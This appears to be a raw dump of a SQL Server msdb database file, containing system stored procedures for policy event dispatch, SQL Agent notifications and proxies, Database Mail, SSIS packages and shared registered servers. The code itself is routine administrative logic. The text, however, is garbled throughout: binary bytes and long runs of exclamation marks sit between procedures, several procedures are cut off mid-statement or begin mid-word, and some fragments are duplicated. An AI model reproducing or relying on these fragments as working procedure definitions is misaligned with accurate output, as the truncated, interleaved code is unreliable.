        1 = @event_data.exist('EVENT_INSTANCE/AlterTableActionList'))
    BEGIN
        RETURN;
    END

    -- convert trace numerical objecttypes to string
    IF (ISNUMERIC(@object_type) = 1)
        select @object_type = name from master.dbo.spt_values where type = 'EOB' and number = @object_type

    -- these events do not have ObjectType and ObjectName
    IF ((@object_type IS NULL) AND @event_type IN ('CREATE_DATABASE', 'DROP_DATABASE', 'ALTER_DATABASE'))
    BEGIN
        SET @object_type = 'DATABASE'
    END

    INSERT msdb.dbo.syspolicy_execution_internal
        SELECT p.policy_id , @synchronous, @event_data
        FROM dbo.syspolicy_policies p  -- give me all the policies
        INNER JOIN dbo.syspolicy_conditions_internal c ON c.condition_id = p.condition_id  -- and their conditions
        INNER JOIN dbo.syspolicy_facet_events fe ON c.facet_id = fe.management_facet_id  -- and the facet events that are affected by the condition
        INNER JOIN dbo.syspolicy_target_sets ts ON ts.object_set_id = p.object_set_id AND ts.type = fe.target_type  -- and the target sets in the object set of the policy, with event types that are affected by the condition
        LEFT JOIN dbo.syspolicy_policy_category_subscriptions pgs ON pgs.policy_category_id = p.policy_category_id -- and the policy category subscriptions, if any
        LEFT JOIN dbo.syspolicy_target_set_levels tsl ON tsl.target_set_id = ts.target_set_id AND tsl.level_name = 'Database' -- and the database target set levels associated with any of the target sets, if any
        LEFT JOIN dbo.syspolicy_conditions_internal lc ON lc.condition_id = tsl.condition_id -- and any conditions on the target set level, if any
        LEFT JOIN dbo.syspolicy_policy_categories cat ON p.policy_category_id = cat.policy_category_id -- and the policy categories, if any
        WHERE fe.event_name=@event_type AND -- event type matches the fired event
            p.is_enabled = 1 AND -- policy is enabled
            fe.target_type_alias = @object_type AND -- target type matches the object in the event
            ts.enabled = 1 AND -- target set is enabled
            -- 1 means Enforce, 2 means CheckOnChange
            (p.execution_mode & @mode) = @mode AND -- policy mode matches the requested mode
            ((p.policy_category_id IS NULL) OR (cat.mandate_database_subscriptions = 1) OR ( ts.type_skeleton NOT LIKE 'Server/Database%') OR (@database IS NOT NULL AND pgs.target_object = @database)) AND
            ((@database IS NULL) OR 
             (@database IS NOT NULL AND 
              (tsl.condition_id IS NULL OR 
               (tsl.condition_id IS NOT NULL AND 
                ((lc.is_name_condition=1 AND @database = lc.obj_name) OR
                 (lc.is_name_condition=2 AND @database LIKE lc.obj_name) OR
                 (lc.is_name_condition=3 AND @database != lc.obj_name) OR
                 (lc.is_name_condition=4 AND @database NOT LIKE lc.obj_name))
               )
              )
             )
            ) 

    -- NOTE: if we haven't subscribed via an Endpoint facet on those events 
    -- we know for sure they will not be processed by the ServerAreaFacet policies 
    -- because syspolicy_facet_events expects @target_type to be SERVER
    -- so the filter will leave them out, and we are going to generate a fake 
    -- event to make those policies run
    IF( @synchronous = 0 AND 
        (@event_type IN ('ALTER_ENDPOINT', 'CREATE_ENDPOINT', 'DROP_ENDPOINT')))
    BEGIN
        DECLARE @fake_event_data xml
        SET @fake_event_data = CONVERT(xml, '<EVENT_INSTANCE><EventType>SAC_ENDPOINT_CHANGE</EventType><ObjectType>21075</ObjectType><ObjectName/><DatabaseName>master</DatabaseName></EVENT_INSTANCE>')
        
        EXEC [dbo].[sp_syspolicy_dispatch_event]  @event_data = @fake_event_data, @synchronous = 0
    END
            
END              
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`^<>MH 0xu@ C	8
CREATE PROCEDURE dbo.sp_verify_login_identifiers
   @login_name [nvarchar](256),
   @fixed_server_role [nvarchar](256),
   @msdb_role [nvarchar](256),
   @name [nvarchar](256) OUTPUT,
  @sid  varbinary(85)   OUTPUT,
   @flags   INT OUTPUT
AS
BEGIN
   DECLARE @retval         INT
    DECLARE @raise_error    bit
   SET NOCOUNT ON

   SELECT @flags = -1, @raise_error = 0
  SELECT @sid = NULL

  IF @login_name IS NOT NULL 
   BEGIN
      --check validity
      --use the new optional parameter of SUSER_SID to have a case insensitive comparation for NT users
    SELECT @sid = SUSER_SID(@login_name, 0)
      IF @sid IS NULL
      BEGIN
         RAISERROR(14520, -1, -1, @login_name)
         RETURN(1) -- Failure    
      END
      SELECT @name = @login_name, @flags = 0
   END
  
   IF COALESCE(@login_name, @fixed_server_role, @msdb_role) IS NULL
   BEGIN
      RAISERROR(14519, -1, -1)
      RETURN(1) -- Failure    
   END

  IF @fixed_server_role IS NOT NULL  AND @flags <> -1
      SELECT @raise_error = 1
   ELSE IF @fixed_server_role IS NOT NULL
   --check validity
   BEGIN
      -- IS_SRVROLEMEMBER return NULL for an invalid server role
      IF ISNULL(IS_SRVROLEMEMBER(@fixed_server_role), -1) = -1
      BEGIN
         RAISERROR(14521, -1, -1, @fixed_server_role)
         RETURN(1) -- Failure    
      END   
      SELECT @name = @fixed_server_role, @flags = 1
    SELECT @sid = SUSER_SID(@fixed_server_role)
   END
   
  IF @msdb_role IS NOT NULL  AND @flags <> -1
      SELECT @raise_error = 1
   ELSE IF @msdb_role IS NOT NULL
   BEGIN
      --check the correctness of msdb role
      IF ISNULL(IS_MEMBER(@msdb_role), -1) = -1 
      BEGIN
         RAISERROR(14522, -1, -1, @msdb_role)
         RETURN(1) -- Failure    
      END      
      SELECT @sid = sid from sys.database_principals
      WHERE  UPPER(@msdb_role collate SQL_Latin1_General_CP1_CS_AS) = UPPER(name collate SQL_Latin1_General_CP1_CS_AS)
    AND type = 'R'
    IF @sid IS NULL
      BEGIN
         RAISERROR(14522, -1, -1, @msdb_role)
         RETURN(1) -- Failure    
      END      
      SELECT @name = @msdb_role, @flags = 2
   END

   IF    @raise_error = 1
   BEGIN
      RAISERROR(14519, -1, -1)
      RETURN(1) -- Failure    
   END

  RETURN(0) -- Success
END
0av r	8CREATE PROCEDURE sp_update_notification
  @alert_name          sysname,
  @operator_name       sysname,
  @notification_method TINYINT -- 1 = Email, 2 = Pager, 4 = NetSend, 7 = All
AS
BEGIN
  DECLARE @alert_id             INT
  DECLARE @operator_id          INT
  DECLARE @notification         NVARCHAR(512)
  DECLARE @retval               INT
  DECLARE @old_has_notification INT
  DECLARE @new_has_notification INT
  DECLARE @res_notification     NVARCHAR(100)

  SET NOCOUNT ON

  SELECT @res_notification = FORMATMESSAGE(14210)

  -- Remove any leading/trailing spaces from parameters
  SELECT @alert_name    = LTRIM(RTRIM(@alert_name))
  SELECT @operator_name = LTRIM(RTRIM(@operator_name))

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if the Notification is valid
  EXECUTE sp_verify_notification @alert_name,
                                 @operator_name,
                                 @notification_method,
                                 @alert_id     OUTPUT,
                                 @operator_id  OUTPUT

  -- Check if this notification exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysnotifications
                  WHERE (alert_id = @alert_id)
                    AND (operator_id = @operator_id)))
  BEGIN
    SELECT @notification = @alert_name + N' / ' + @operator_name
    RAISERROR(14262, 16, 1, @res_notification, @notification)
    RETURN(1) -- Failure
  END

  SELECT @old_has_notification = has_notification
  FROM msdb.dbo.sysalerts
  WHERE (id = @alert_id)

  -- Do the UPDATE
  UPDATE msdb.dbo.sysnotifications
  SET notification_method = @notification_method
  WHERE (alert_id = @alert_id)
    AND (operator_id = @operator_id)

  SELECT @retval = @@error

  SELECT @new_has_notification = has_notification
  FROM msdb.dbo.sysalerts
  WHERE (id = @alert_id)

  -- Notify SQLServerAgent of the change - if any - to has_notifications
  IF (@old_has_notification <> @new_has_notification)
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type       = N'A',
                                          @alert_id    = @alert_id,
                                          @action_type = N'U'

  RETURN(@retval) -- 0 means success
END
0ڈ,v 8-- sysmail_stop_sp : stops the DatabaseMail process. Mail items remain in the queue until sqlmail started 
CREATE PROCEDURE sysmail_stop_sp
AS
    SET NOCOUNT ON
    DECLARE @rc INT
   DECLARE @localmessage nvarchar(255)
  
    ALTER QUEUE ExternalMailQueue WITH ACTIVATION (STATUS = OFF);
    SELECT @rc = @@ERROR
    IF(@rc = 0)
    BEGIN
       ALTER QUEUE ExternalMailQueue WITH STATUS = OFF;
       SELECT @rc = @@ERROR
       IF(@rc = 0)
       BEGIN
          SET @localmessage = FORMATMESSAGE(14640, SUSER_SNAME())
          exec msdb.dbo.sysmail_logmailevent_sp @event_type=1, @description=@localmessage
       END
    END
RETURN @rc
0~u 8CREATE PROCEDURE [dbo].[sp_ssis_listpackages]
  @folderid uniqueidentifier
AS
  SELECT
      name,
      id,
      description,
      createdate,
      folderid,
      datalength(packagedata),
      vermajor,
      verminor,
      verbuild,
      vercomments,
      verid
  FROM
      sysssispackages
  WHERE
      [folderid] = @folderid
  ORDER BY
      name
0tu (8CREATE PROCEDURE [dbo].[sp_sysmanagement_move_shared_registered_server]
    @server_id INT,
    @new_parent_id INT
AS
BEGIN
    IF (@server_id IS NULL)
    BEGIN
        RAISERROR (35006, -1, -1)
        RETURN(1)
    END
    
    IF NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal] WHERE server_id = @server_id)
    BEGIN
        RAISERROR (35007, -1, -1)
        RETURN(1)
    END
    
    IF (@new_parent_id IS NULL) OR 
        NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @new_parent_id)
    BEGIN
        RAISERROR (35001, -1, -1)
        RETURN(1)
    END

    IF (@new_parent_id IS NOT NULL)
        AND ((SELECT server_type FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @new_parent_id)
                <>
             (SELECT server_type FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal] WHERE server_id = @server_id))
    BEGIN
        RAISERROR (35002, -1, -1)
        RETURN(1)
    END
    
    UPDATE [msdb].[dbo].[sysmanagement_shared_registered_servers_internal]
        SET server_group_id = @new_parent_id
    WHERE
        server_id = @server_id
    RETURN (0)
END
0Azv %8((0))t_id)

  -- Notify SQLServerAgent of the change - if any - to has_notifications
  IF (@old_has_notification <> @new_has_notification)
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type       = N'A',
                                          @alert_id    = @alert_id,
                                          @action_type = N'U'

  RETURN(@retval) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	i`#<jMP0.v 8
CREATE PROCEDURE dbo.sp_verify_proxy
   @proxy_id [INT] = NULL,
   @proxy_name [sysname],
   @enabled [tinyint],
   @description [nvarchar](512) = NULL
AS
BEGIN
  DECLARE @return_code INT
  SET NOCOUNT ON

  -- Check if the NewName is unique
  IF (EXISTS ( SELECT *
               FROM msdb.dbo.sysproxies
               WHERE (name = @proxy_name) AND
            proxy_id <> ISNULL(@proxy_id,0) ))
  BEGIN
    RAISERROR(14261, 16, 1, '@name', @proxy_name)
    RETURN(1) -- Failure
  END

  -- Enabled must be 0 or 1
  IF (@enabled NOT IN (0, 1))
  BEGIN
    RAISERROR(14266, 16, 1, '@enabled', '0, 1')
    RETURN(1) -- Failure
  END
  
  RETURN(0)
END
0=Uw "	8CREATE PROCEDURE sp_delete_notification
  @alert_name    sysname,
  @operator_name sysname
AS
BEGIN
  DECLARE @alert_id             INT
  DECLARE @operator_id          INT
  DECLARE @ignored              TINYINT
  DECLARE @notification         NVARCHAR(512)
  DECLARE @retval               INT
  DECLARE @old_has_notification INT
  DECLARE @new_has_notification INT
  DECLARE @res_notification     NVARCHAR(100)

  SET NOCOUNT ON

  SELECT @res_notification = FORMATMESSAGE(14210)

  -- Remove any leading/trailing spaces from parameters
  SELECT @alert_name    = LTRIM(RTRIM(@alert_name))
  SELECT @operator_name = LTRIM(RTRIM(@operator_name))

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Get the alert and operator ID's
  EXECUTE sp_verify_notification @alert_name,
                                 @operator_name,
                                 7,           -- A dummy (but valid) value
                                 @alert_id    OUTPUT,
                                 @operator_id OUTPUT

  -- Check if this notification exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysnotifications
                  WHERE (alert_id = @alert_id)
                    AND (operator_id = @operator_id)))
  BEGIN
    SELECT @notification = @alert_name + N' / ' + @operator_name
    RAISERROR(14262, 16, 1, @res_notification, @notification)
    RETURN(1) -- Failure
  END

  SELECT @old_has_notification = has_notification
  FROM msdb.dbo.sysalerts
  WHERE (id = @alert_id)

  -- Do the Delete
  DELETE FROM msdb.dbo.sysnotifications
  WHERE (alert_id = @alert_id)
    AND (operator_id = @operator_id)

  SELECT @retval = @@error

  SELECT @new_has_notification = has_notification
  FROM msdb.dbo.sysalerts
  WHERE (id = @alert_id)

  -- Notify SQLServerAgent of the change - if any - to has_notifications
  IF (@old_has_notification <> @new_has_notification)
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type       = N'A',
                                          @alert_id    = @alert_id,
                                          @action_type = N'U'

  RETURN(@retval) -- 0 means success
END
0 w 58CREATE PROCEDURE sysmail_help_status_sp
  WITH EXECUTE AS 'dbo'
AS
BEGIN
    IF NOT EXISTS (SELECT * FROM sys.service_queues WHERE name = N'ExternalMailQueue' AND is_receive_enabled = 1)
       SELECT 'STOPPED' AS Status
    ELSE
       SELECT 'STARTED' AS Status
END
0v q8CREATE PROCEDURE [dbo].[sp_ssis_listfolders]
  @parentfolderid uniqueidentifier = NULL
AS
  SELECT
   folderid,
   parentfolderid,
   foldername
  FROM
      sysssispackagefolders
  WHERE
      [parentfolderid] = @parentfolderid OR 
      (@parentfolderid IS NULL AND [parentfolderid] IS NULL)
  ORDER BY 
      foldername
0v 8CREATE PROCEDURE [dbo].[sp_sysmanagement_update_shared_server_group]
    @server_group_id INT,
    @description NVARCHAR (2048) = NULL
AS
BEGIN
    IF (@server_group_id IS NULL)
    BEGIN
        RAISERROR (35005, -1, -1)
        RETURN(1)
    END

    IF NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @server_group_id)
    BEGIN
        RAISERROR (35004, -1, -1)
        RETURN(1)
    END

    UPDATE [msdb].[dbo].[sysmanagement_shared_server_groups_internal]
        SET description = ISNULL(@description, description)
    WHERE
        server_group_id = @server_group_id
    
    RETURN (0)
END
0βuw 8CREATE PROCEDURE [dbo].[sp_syspolicy_events_reader] 
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @dh uniqueidentifier;
	DECLARE @mt sysname;
	DECLARE @body varbinary(max);
	DECLARE @msg nvarchar(max)

    BEGIN TRANSACTION;
    WAITFOR (RECEIVE TOP (1)
        @dh = conversation_handle,
        @mt = message_type_name,
        @body = message_body
        FROM [syspolicy_event_queue]), timeout 5000;
    WHILE (@dh is not null)
    BEGIN
        IF (@mt = N'http://schemas.microsoft.com/SQL/ServiceBroker/Error')
        BEGIN
            -- @body contains the error
            DECLARE @bodyStr nvarchar(max)
            SET @bodyStr = convert(nvarchar(max), @body)
            RAISERROR (34001, 1,1, @bodyStr) with log;
            END CONVERSATION @dh;
        END
        IF (@mt = N'http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog')
        BEGIN
            RAISERROR (34002, 1,1) with log;
            END CONVERSATION @dh;
        END
        IF (@mt = N'http://schemas.microsoft.com/SQL/Notifications/EventNotification')
        BEGIN
            -- process the event
            BEGIN TRY
                EXEC [dbo].[sp_syspolicy_dispatch_event]  @event_data = @body, @synchronous = 0
            END TRY
            BEGIN CATCH
                -- report the error

                DECLARE @errorNumber int
                DECLARE @errorMessage nvarchar(max)
                SET @errorNumber = ERROR_NUMBER()
                SET @errorMessage = ERROR_MESSAGE()

                RAISERROR (34003, 1,1, @errorNumber, @errorMessage ) with log;
            END CATCH
        END
        -- every message is handled in its own transaction
        COMMIT TRANSACTION;
        SELECT @dh = null;
        BEGIN TRANSACTION;
        WAITFOR (RECEIVE TOP (1)
            @dh = conversation_handle,
            @mt = message_type_name,
            @body = message_body
            FROM [syspolicy_event_queue]), TIMEOUT 5000;
    END
    COMMIT;
END
0zw %8((0))            @depth, 
            qm.state as state,
            qm.last_empty_rowset_time as last_empty_rowset_time,
            qm.last_activated_time as last_activated_time
         FROM sys.dm_broker_queue_monitors qm
         JOIN sys.service_queues sq ON sq.object_id = qm.queue_id
         WHERE sq.name = 'ExternalMailQueue'
   END

   IF ( (@queue_type IS NULL) OR (LOWER(@queue_type collate SQL_Latin1_General_CP1_CS_AS) = N'status' ) )
   BEGIN
      SET @depth = (SELECT COUNT(*) FROM InternalMailQueue WITH (NOWAIT NOLOCK READUNCOMMITTED))

      INSERT INTO @temp
         SELECT 
                N'status',
                @depth, 
            qm.state as state,
            qm.last_empty_rowset_time as last_empty_rowset_time,
            qm.last_activated_time as last_activated_time
         FROM sys.dm_broker_queue_monitors qm
         JOIN sys.service_queues sq ON sq.object_id = qm.queue_id
         WHERE sq.name = 'InternalMailQueue'
   END

   SELECT * from @temp
END
0v q8CREATE PROCEDURE [dbo].[sp_ssis_listfolders]
  @parentfolderid uniqueidentifier = NULL
AS
  SELECT
   folderid,
   parentfolderid,
   foldername
  FROM
      sysssispackagefolders
  WHERE
      [parentfolderid] = @parentfolderid OR 
      (@parentfolderid IS NULL AND [parentfolderid] IS NULL)
  ORDER BY 
      folderna,Nc
`_<cATg0	sy 8
CREATE PROCEDURE dbo.sp_update_proxy
   @proxy_id [int] = NULL,
   @proxy_name [sysname] = NULL, 
   -- must specify only one of above parameter identify the proxy
   @credential_name [sysname] = NULL,
   @credential_id [INT] = NULL,
   @new_name [sysname] = NULL,
   @enabled [tinyint] = NULL,
   @description [nvarchar](512) = NULL
AS
BEGIN
   DECLARE  @x_new_name [sysname] 
   DECLARE  @x_credential_id [int] 
   DECLARE  @x_enabled [tinyint] 
   DECLARE @x_description [nvarchar](512)
   DECLARE @x_credential_date_created [datetime]
   DECLARE @user_sid VARBINARY(85)
      DECLARE @full_name [sysname] --two sysnames + \
   DECLARE @retval   INT
   SET NOCOUNT ON
    
   EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                  '@proxy_id',
                                                   @proxy_name OUTPUT,
                                                   @proxy_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  IF @credential_id IS NOT NULL OR @credential_name IS NOT NULL
  BEGIN
     EXECUTE @retval = sp_verify_credential_identifiers '@credential_name',
                                                    '@credential_id',
                                                    @credential_name OUTPUT,
                                                    @credential_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

   -- Remove any leading/trailing spaces from parameters
   SELECT @new_name                = LTRIM(RTRIM(@new_name))
   SELECT @description             = LTRIM(RTRIM(@description))
  -- Turn [nullable] empty string parameters into NULLs
  IF @new_name      = '' SELECT @new_name = NULL
  IF @description    = '' SELECT @description = NULL

  -- Set the x_ (existing) variables
  SELECT    @x_new_name      = name,
    @x_credential_id = credential_id,
      @x_enabled       = enabled,
      @x_description   = description,
    @x_credential_date_created = credential_date_created
   FROM sysproxies
   WHERE proxy_id = @proxy_id

  --get the new date from credential table
  IF  (@credential_id IS NOT NULL)
    SELECT @x_credential_date_created = create_date FROM master.sys.credentials
    WHERE  credential_id = @credential_id
        
    -- Fill out the values for all non-supplied parameters from the existing values
   IF    (@new_name      IS NULL) SELECT   @new_name          =           @x_new_name                          
   IF (@credential_id IS NULL) SELECT   @credential_id     =           @x_credential_id                                    
   IF (@enabled       IS NULL) SELECT   @enabled           =           @x_enabled                                    
   IF (@description   IS NULL) SELECT   @description       =           @x_description            

  -- warn if the user_domain\user_name does not exist
  SELECT @full_name = credential_identity from master.sys.credentials 
  WHERE  credential_id = @credential_id
  
  --force case insensitive comparation for NT users
  SELECT @user_sid = SUSER_SID(@full_name, 0)
  IF @user_sid IS NULL
  BEGIN
    RAISERROR(14529, -1, -1, @full_name)
    RETURN(1)
  END
 
  -- Finally, do the actual UPDATE
  UPDATE msdb.dbo.sysproxies
   SET
   name     =  @new_name,
   credential_id  =  @credential_id,
   user_sid =  @user_sid,
   enabled     =  @enabled,
   description =  @description,
   credential_date_created = @x_credential_date_created  --@x_ is OK in this case
   WHERE proxy_id = @proxy_id
END
0jy 8CREATE PROCEDURE [dbo].[sp_sysmanagement_rename_shared_registered_server]
    @server_id INT,
    @new_name sysname
AS
BEGIN
    IF (@server_id IS NULL)
    BEGIN
        RAISERROR (35006, -1, -1)
        RETURN(1)
    END
    
    IF NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal] WHERE server_id = @server_id)
    BEGIN
        RAISERROR (35007, -1, -1)
        RETURN(1)
    END
    
    IF (@new_name IS NULL or LEN(@new_name) = 0)
    BEGIN
      RAISERROR(21263, -1, -1, '@new_name')
      RETURN(1) -- Failure
    END

    UPDATE [msdb].[dbo].[sysmanagement_shared_registered_servers_internal]
        SET name = @new_name
    WHERE
        server_id = @server_id

    RETURN (0)
END
ensionIndex > 0)
   BEGIN
      SET @extensionName = SUBSTRING(@attachment, @extensionIndex + 1, (LEN(@attachment) - @extensionIndex)) 
      SET @extensionName = UPPER(@extensionName)

      -- compare @extensionName with each extension in the comma-separated @prohibitedextensions list
      DECLARE @currentExtensionStart int
      DECLARE @currentExtensionEnd int

      SET @currentExtensionStart = 0
      SET @currentExtensionEnd = 0
      WHILE (@currentExtensionEnd < LEN(@prohibitedextensions))
      BEGIN
         SET @currentExtensionEnd = CHARINDEX(',', @prohibitedextensions, @currentExtensionStart)

         IF (@currentExtensionEnd = 0) -- we have reached the last extension of the list, or the list was empty
            SET @currentExtensionEnd = LEN(@prohibitedextensions)+1

         DECLARE @prohibitedExtension nvarchar(1000)
         SET @prohibitedExtension = SUBSTRING(@prohibitedextensions, @currentExtensionStart, @currentExtensionEnd - @currentExtensionStart) 
         SET @prohibitedExtension = RTRIM(LTRIM(@prohibitedExtension))

         IF( @extensionName = @prohibitedExtension )
            RETURN 1

         SET @currentExtensionStart = @currentExtensionEnd + 1
      END
   END

   RETURN 0
END
0y ]8CREATE PROCEDURE [dbo].[sp_ssis_getpackage]
  @name sysname,
  @folderid uniqueidentifier
AS
  DECLARE @sid varbinary(85)
  DECLARE @isencrypted bit
  DECLARE @readrolesid varbinary(85)
  DECLARE @readrole nvarchar(128)
  --// Check security, if the row exists
  SELECT @sid = [ownersid], @readrolesid = [readrolesid] FROM sysssispackages WHERE [name] = @name AND [folderid] = @folderid
  IF @sid IS NOT NULL
  BEGIN
      IF @readrolesid IS NOT NULL
      BEGIN
          SELECT @readrole = [name] FROM sys.database_principals WHERE [type] = 'R' AND [sid] = @readrolesid
          IF @readrole IS NULL SET @readrole = 'db_ssisadmin'
      END
      IF @readrole IS NOT NULL
      BEGIN
          IF (IS_MEMBER(@readrole)<>1) AND (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
          BEGIN
              IF (IS_MEMBER('db_ssisltduser')<>1) OR (@sid<>SUSER_SID())
              BEGIN
                  RAISERROR (14307, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
      ELSE
      BEGIN
          IF (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1) AND (IS_MEMBER('db_ssisoperator')<>1)
          BEGIN
              IF (IS_MEMBER('db_ssisltduser')<>1) OR (@sid<>SUSER_SID())
              BEGIN
                  RAISERROR (14586, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
  END

  SELECT
      packagedata
  FROM
      sysssispackages
  WHERE
      [name] = @name AND
      [folderid] = @folderid
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}}`_<MpJR+0#2z 	8CREATE TRIGGER trig_notification_ins_or_upd
ON msdb.dbo.sysnotifications
FOR INSERT,
    UPDATE
AS
BEGIN
  SET NOCOUNT ON

  -- First, throw out 'non-notification' rows
  DELETE FROM msdb.dbo.sysnotifications
  WHERE (notification_method = 0)

  -- Reset the has_notification flag for the affected alerts
  UPDATE msdb.dbo.sysalerts
  SET has_notification = 0
  FROM inserted           i,
       msdb.dbo.sysalerts sa
  WHERE (i.alert_id = sa.id)

  -- Update sysalerts.has_notification (for email)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 1
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       inserted                  i
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = i.alert_id)
    AND ((sn.notification_method & 1) = 1)

  -- Update sysalerts.has_notification (for pager)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 2
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       inserted                  i
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = i.alert_id)
    AND ((sn.notification_method & 2) = 2)

  -- Update sysalerts.has_notification (for netsend)
  UPDATE msdb.dbo.sysalerts
  SET has_notification = has_notification | 4
  FROM msdb.dbo.sysalerts        sa,
       msdb.dbo.sysnotifications sn,
       inserted                  i
  WHERE (sa.id = sn.alert_id)
    AND (sa.id = i.alert_id)
    AND ((sn.notification_method & 4) = 4)
END
0.gz 8
-- check if a login is member of NT group\database role
--
-- if we specify a NT group SID @login_sid should be NOT NULL
--
-- if a @role_principal_id is specified, a NULL login is allowed
-- in this case we check if the msdb database user associated
-- with the current security context is member of the specified
-- msdb database role (this allows us to verify if a particular
-- msdb database loginless msdb user is member of that msdb role)
CREATE PROCEDURE dbo.sp_sqlagent_is_member
(
